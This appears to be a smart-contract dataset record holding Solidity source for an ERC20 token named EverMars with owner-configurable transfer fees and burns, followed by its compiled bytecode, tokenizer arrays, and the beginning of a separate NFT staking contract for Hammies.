mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.8.4; contract EverMars is ERC20, Owned { uint256 public minSupply; address public beneficiary; bool public feesEnabled; mapping(address => bool) public isExcludedFromFee; event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount); event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary); event FeesEnabledUpdated(bool enabled); event ExcludedFromFeeUpdated(address account, bool excluded); constructor() ERC20("EverMars", "EverMars") { minSupply = 100000000 ether; uint256 totalSupply = 1000000000000000 ether; feesEnabled = false; _mint(_msgSender(), totalSupply); isExcludedFromFee[msg.sender] = true; isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; beneficiary = msg.sender; } /** * @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary * @dev after a certain threshold, try to swap collected fees automatically * @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed */ function _transfer( address sender, address recipient, uint256 amount ) internal override { require( recipient != address(this), "Cannot send tokens to token contract" ); if ( !feesEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient] ) { ERC20._transfer(sender, recipient, amount); return; } // burn tokens if min supply not reached yet uint256 burnedFee = calculateFee(amount, 25); if (totalSupply() - burnedFee >= minSupply) { _burn(sender, burnedFee); } else { burnedFee = 0; } uint256 transferFee = calculateFee(amount, 200); ERC20._transfer(sender, beneficiary, transferFee); ERC20._transfer(sender, recipient, amount - transferFee - burnedFee); } function calculateFee(uint256 _amount, uint256 _fee) public pure returns (uint256) { return (_amount * _fee) / 10000; } /** * @notice allows to burn tokens from own balance * @dev only allows burning tokens until minimum supply is reached * @param value amount of tokens to burn */ function burn(uint256 value) public { _burn(_msgSender(), value); require(totalSupply() >= minSupply, "total supply exceeds min supply"); } /** * @notice sets minimum supply of the token * @dev only callable by owner * @param _newMinSupply new minimum supply */ function setMinSupply(uint256 _newMinSupply) public onlyOwner { emit MinSupplyUpdated(minSupply, _newMinSupply); minSupply = _newMinSupply; } /** * @notice sets recipient of transfer fee * @dev only callable by owner * @param _newBeneficiary new beneficiary */ function setBeneficiary(address _newBeneficiary) public onlyOwner { setExcludeFromFee(_newBeneficiary, true); emit BeneficiaryUpdated(beneficiary, _newBeneficiary); beneficiary = _newBeneficiary; } /** * @notice sets whether account collects fees on token transfer * @dev only callable by owner * @param _enabled bool whether fees are enabled */ function setFeesEnabled(bool _enabled) public onlyOwner { emit FeesEnabledUpdated(_enabled); feesEnabled = _enabled; } /** * @notice adds or removes an account that is exempt from fee collection * @dev only callable by owner * @param _account account to modify * @param _excluded new value */ function setExcludeFromFee(address _account, bool _excluded) public onlyOwner { isExcludedFromFee[_account] = _excluded; emit ExcludedFromFeeUpdated(_account, _excluded); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635342acb4116100de578063a64e4f8a11610097578063af9549e011610071578063af9549e014610462578063b5ed298a1461047e578063d153b60c1461049a578063dd62ed3e146104b857610173565b8063a64e4f8a146103f8578063a901dd9214610416578063a9059cbb1461043257610173565b80635342acb41461030e57806370a082311461033e5780638da5cb5b1461036e5780638fe6cae31461038c57806395d89b41146103aa578063a457c2d7146103c857610173565b8063313ce56711610130578063313ce5671461024c57806334e731221461026a57806338af3eed1461029a57806339509351146102b857806342966c68146102e85780634e71e0c81461030457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ac2874b146101e45780631c31f7101461020057806323b872dd1461021c575b600080fd5b6101806104e8565b60405161018d9190611cf3565b60405180910390f35b6101b060048036038101906101ab91906119ab565b61057a565b6040516101bd9190611cd8565b60405180910390f35b6101ce610598565b6040516101db9190611e75565b60405180910390f35b6101fe60048036038101906101f99190611a10565b6105a2565b005b61021a60048036038101906102159190611892565b610641565b005b61023660048036038101906102319190611920565b610745565b6040516102439190611cd8565b60405180910390f35b610254610846565b6040516102619190611eb9565b60405180910390f35b610284600480360381019061027f9190611a39565b61084f565b6040516102919190611e75565b60405180910390f35b6102a2610872565b6040516102af9190611c6b565b60405180910390f35b6102d260048036038101906102cd91906119ab565b610898565b6040516102df9190611cd8565b60405180910390f35b61030260048036038101906102fd9190611a10565b610944565b005b61030c6109a4565b005b61032860048036038101906103239190611892565b610b01565b6040516103359190611cd8565b60405180910390f35b61035860048036038101906103539190611892565b610b21565b6040516103659190611e75565b60405180910390f35b610376610b69565b6040516103839190611c6b565b60405180910390f35b610394610b8f565b6040516103a19190611e75565b60405180910390f35b6103b2610b95565b6040516103bf9190611cf3565b60405180910390f35b6103e260048036038101906103dd91906119ab565b610c27565b6040516103ef9190611cd8565b60405180910390f35b610400610d1b565b60405161040d9190611cd8565b60405180910390f35b610430600480360381019061042b91906119e7565b610d2e565b005b61044c600480360381019061044791906119ab565b610ddc565b6040516104599190611cd8565b60405180910390f35b61047c6004803603810190610477919061196f565b610dfa565b005b610498600480360381019061049391906118bb565b610ee8565b005b6104a2610f86565b6040516104af9190611c6b565b60405180910390f35b6104d260048036038101906104cd91906118e4565b610fac565b6040516104df9190611e75565b60405180910390f35b6060600380546104f79061209f565b80601f01602080910402602001604051908101604052809291908181526020018280546105239061209f565b80156105705780601f1061054557610100808354040283529160200191610570565b820191906000526020600020905b81548152906001019060200180831161055357829003601f168201915b5050505050905090565b600061058e610587611033565b848461103b565b6001905092915050565b6000600254905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105fc57600080fd5b7f8e485513f38ca4c23b0c8170161c4fd5c16f934ea7c068b376f646b0194d1b8e6007548260405161062f929190611e90565b60405180910390a18060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069b57600080fd5b6106a6816001610dfa565b7fe72eaf6addaa195f3c83095031dd08f3a96808dcf047babed1fe4e4f69d6c622600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516106f9929190611c86565b60405180910390a180600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610752848484611206565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079d611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490611db5565b60405180910390fd5b61083a85610829611033565b85846108359190611fd1565b61103b565b60019150509392505050565b60006012905090565b600061271082846108609190611f77565b61086a9190611f46565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061093a6108a5611033565b8484600160006108b3611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109359190611ef0565b61103b565b6001905092915050565b61095561094f611033565b826113e6565b600754610960610598565b10156109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611e35565b60405180910390fd5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b606060048054610ba49061209f565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061209f565b8015610c1d5780601f10610bf257610100808354040283529160200191610c1d565b820191906000526020600020905b815481529060010190602001808311610c0057829003601f168201915b5050505050905090565b60008060016000610c36611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611e55565b60405180910390fd5b610d10610cfe611033565b858584610d0b9190611fd1565b61103b565b600191505092915050565b600860149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8857600080fd5b7fba500994dffbabeeb9e430f03a978d7b975359a20c5bde3a6ccb5a0c454680c881604051610db79190611cd8565b60405180910390a180600860146101000a81548160ff02191690831515021790555050565b6000610df0610de9611033565b8484611206565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5457600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f318c131114339c004fff0a22fcdbbc0566bb2a7cd3aa1660e636ec5a66784ff28282604051610edc929190611caf565b60405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4257600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290611e15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111290611d55565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f99190611e75565b60405180910390a3505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611d95565b60405180910390fd5b600860149054906101000a900460ff1615806112da5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061132e5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113435761133e8383836115ba565b6113e1565b600061135082601961084f565b90506007548161135e610598565b6113689190611fd1565b1061137c5761137784826113e6565b611381565b600090505b600061138e8360c861084f565b90506113bd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115ba565b6113de85858484876113cf9190611fd1565b6113d99190611fd1565b6115ba565b50505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90611dd5565b60405180910390fd5b61146282600083611839565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90611d35565b60405180910390fd5b81816114f49190611fd1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115489190611fd1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ad9190611e75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190611df5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169190611d15565b60405180910390fd5b6116a5838383611839565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561172b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172290611d75565b60405180910390fd5b81816117379190611fd1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117c79190611ef0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182b9190611e75565b60405180910390a350505050565b505050565b60008135905061184d816124ae565b92915050565b600081359050611862816124c5565b92915050565b600081359050611877816124dc565b92915050565b60008135905061188c816124f3565b92915050565b6000602082840312156118a457600080fd5b60006118b28482850161183e565b91505092915050565b6000602082840312156118cd57600080fd5b60006118db84828501611853565b91505092915050565b600080604083850312156118f757600080fd5b60006119058582860161183e565b92505060206119168582860161183e565b9150509250929050565b60008060006060848603121561193557600080fd5b60006119438682870161183e565b93505060206119548682870161183e565b92505060406119658682870161187d565b9150509250925092565b6000806040838503121561198257600080fd5b60006119908582860161183e565b92505060206119a185828601611868565b9150509250929050565b600080604083850312156119be57600080fd5b60006119cc8582860161183e565b92505060206119dd8582860161187d565b9150509250929050565b6000602082840312156119f957600080fd5b6000611a0784828501611868565b91505092915050565b600060208284031215611a2257600080fd5b6000611a308482850161187d565b91505092915050565b60008060408385031215611a4c57600080fd5b6000611a5a8582860161187d565b9250506020611a6b8582860161187d565b9150509250929050565b611a7e81612005565b82525050565b611a8d81612029565b82525050565b6000611a9e82611ed4565b611aa88185611edf565b9350611ab881856020860161206c565b611ac18161215e565b840191505092915050565b6000611ad9602383611edf565b9150611ae48261216f565b604082019050919050565b6000611afc602283611edf565b9150611b07826121be565b604082019050919050565b6000611b1f602283611edf565b9150611b2a8261220d565b604082019050919050565b6000611b42602683611edf565b9150611b4d8261225c565b604082019050919050565b6000611b65602483611edf565b9150611b70826122ab565b604082019050919050565b6000611b88602883611edf565b9150611b93826122fa565b604082019050919050565b6000611bab602183611edf565b9150611bb682612349565b604082019050919050565b6000611bce602583611edf565b9150611bd982612398565b604082019050919050565b6000611bf1602483611edf565b9150611bfc826123e7565b604082019050919050565b6000611c14601f83611edf565b9150611c1f82612436565b602082019050919050565b6000611c37602583611edf565b9150611c428261245f565b604082019050919050565b611c5681612055565b82525050565b611c658161205f565b82525050565b6000602082019050611c806000830184611a75565b92915050565b6000604082019050611c9b6000830185611a75565b611ca86020830184611a75565b9392505050565b6000604082019050611cc46000830185611a75565b611cd16020830184611a84565b9392505050565b6000602082019050611ced6000830184611a84565b92915050565b60006020820190508181036000830152611d0d8184611a93565b905092915050565b60006020820190508181036000830152611d2e81611acc565b9050919050565b60006020820190508181036000830152611d4e81611aef565b9050919050565b60006020820190508181036000830152611d6e81611b12565b9050919050565b60006020820190508181036000830152611d8e81611b35565b9050919050565b60006020820190508181036000830152611dae81611b58565b9050919050565b60006020820190508181036000830152611dce81611b7b565b9050919050565b60006020820190508181036000830152611dee81611b9e565b9050919050565b60006020820190508181036000830152611e0e81611bc1565b9050919050565b60006020820190508181036000830152611e2e81611be4565b9050919050565b60006020820190508181036000830152611e4e81611c07565b9050919050565b60006020820190508181036000830152611e6e81611c2a565b9050919050565b6000602082019050611e8a6000830184611c4d565b92915050565b6000604082019050611ea56000830185611c4d565b611eb26020830184611c4d565b9392505050565b6000602082019050611ece6000830184611c5c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611efb82612055565b9150611f0683612055565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3b57611f3a6120d1565b5b828201905092915050565b6000611f5182612055565b9150611f5c83612055565b925082611f6c57611f6b612100565b5b828204905092915050565b6000611f8282612055565b9150611f8d83612055565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fc657611fc56120d1565b5b828202905092915050565b6000611fdc82612055565b9150611fe783612055565b925082821015611ffa57611ff96120d1565b5b828203905092915050565b600061201082612035565b9050919050565b600061202282612035565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561208a57808201518184015260208101905061206f565b83811115612099576000848401525b50505050565b600060028204905060018216806120b757607f821691505b602082108114156120cb576120ca61212f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073656e6420746f6b656e7320746f20746f6b656e20636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f746f74616c20737570706c792065786365656473206d696e20737570706c7900600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6124b781612005565b81146124c257600080fd5b50565b6124ce81612017565b81146124d957600080fd5b50565b6124e581612029565b81146124f057600080fd5b50565b6124fc81612055565b811461250757600080fd5b5056fea26469706673582212205341d3fbe0919effae9eff057e62c2a7dc38edf47f2b90981adb1d589c85666964736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2692, 4402, 2575, 2620, 2487, 5243, 17788, 12740, 22275, 2546, 2549, 3676, 2692, 2278, 18139, 22907, 2094, 19841, 2683, 2475, 10354, 2487, 2050, 2692, 2509, 2050, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 4769, 2270, 3818, 12384, 2121, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3988, 10057, 1996, 3206, 4292, 1996, 21296, 2121, 2004, 1996, 3988, 3954, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,773
0x9751c78e3be72ce1cf2a111f49c241c690018d61
// ________ ________ ___ ________ ___ ___ ___ ___ //|\ ____\|\ __ \|\ \ |\ __ \ |\ \ / /|\ \ / /| //\ \ \___|\ \ \|\ \ \ \ \ \ \|\ \ \ \ \/ / | \ \/ / / // \ \ \ __\ \ __ \ \ \ \ \ __ \ \ \ / / \ \ / / // \ \ \|\ \ \ \ \ \ \ \____\ \ \ \ \ / \/ \/ / / // \ \_______\ \__\ \__\ \_______\ \__\ \__\/ /\ \ __/ / / // \|_______|\|__|\|__|\|_______|\|__|\|__/__/ /\ __\\___/ / // |__|/ \|__\|___|/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Ownable.sol"; import "./SafeMath.sol"; import "./IERC721Receiver.sol"; import "./Hammies.sol"; import "./Fluff.sol"; contract Galaxy is Ownable, IERC721Receiver { using SafeMath for uint256; //Establish interface for Hammies Hammies hammies; //Establish interface for $Fluff Fluff fluff; event HammieStolen(address previousOwner, address newOwner, uint256 tokenId); event HammieStaked(address owner, uint256 tokenId, uint256 status); event HammieClaimed(address owner, uint256 tokenId); //Maps tokenId to owner mapping(uint256 => address) public ownerById; /*Maps Status to tokenId Status is as follows: 0 - Unstaked 1 - Adventurer 2 - Pirate 3 - Salvager */ mapping(uint256 => uint256) public statusById; //Maps tokenId to time staked mapping(uint256 => uint256) public timeStaked; //Amount of $Fluff stolen by Pirate while staked mapping(uint256 => uint256) public fluffStolen; //Daily $Fluff earned by adventurers uint256 public adventuringFluffRate = 100 ether; //Total number of adventurers staked uint256 public totalAdventurersStaked = 0; //Percent of $Fluff earned by adventurers that is kept uint256 public adventurerShare = 50; //Percent of $Fluff earned by adventurers that is stolen by pirates uint256 public pirateShare = 50; //5% chance a pirate gets lost each time it is unstaked uint256 public chancePirateGetsLost = 5; //Store tokenIds of all pirates staked uint256[] public piratesStaked; //Store tokenIds of all salvagers staked uint256[] public salvagersStaked; //1 day lock on staking uint256 public minStakeTime = 1 days; bool public staking = false; constructor(){} //-----------------------------------------------------------------------------// //------------------------------Staking----------------------------------------// //-----------------------------------------------------------------------------// /*sends any number of Hammies to the galaxy ids -> list of hammie ids to stake Status == 1 -> Adventurer Status == 2 -> Pirate Status == 3 -> Salvager */ function sendManyToGalaxy(uint256[] calldata ids, uint256 status) external { for(uint256 i = 0; i < ids.length; i++){ 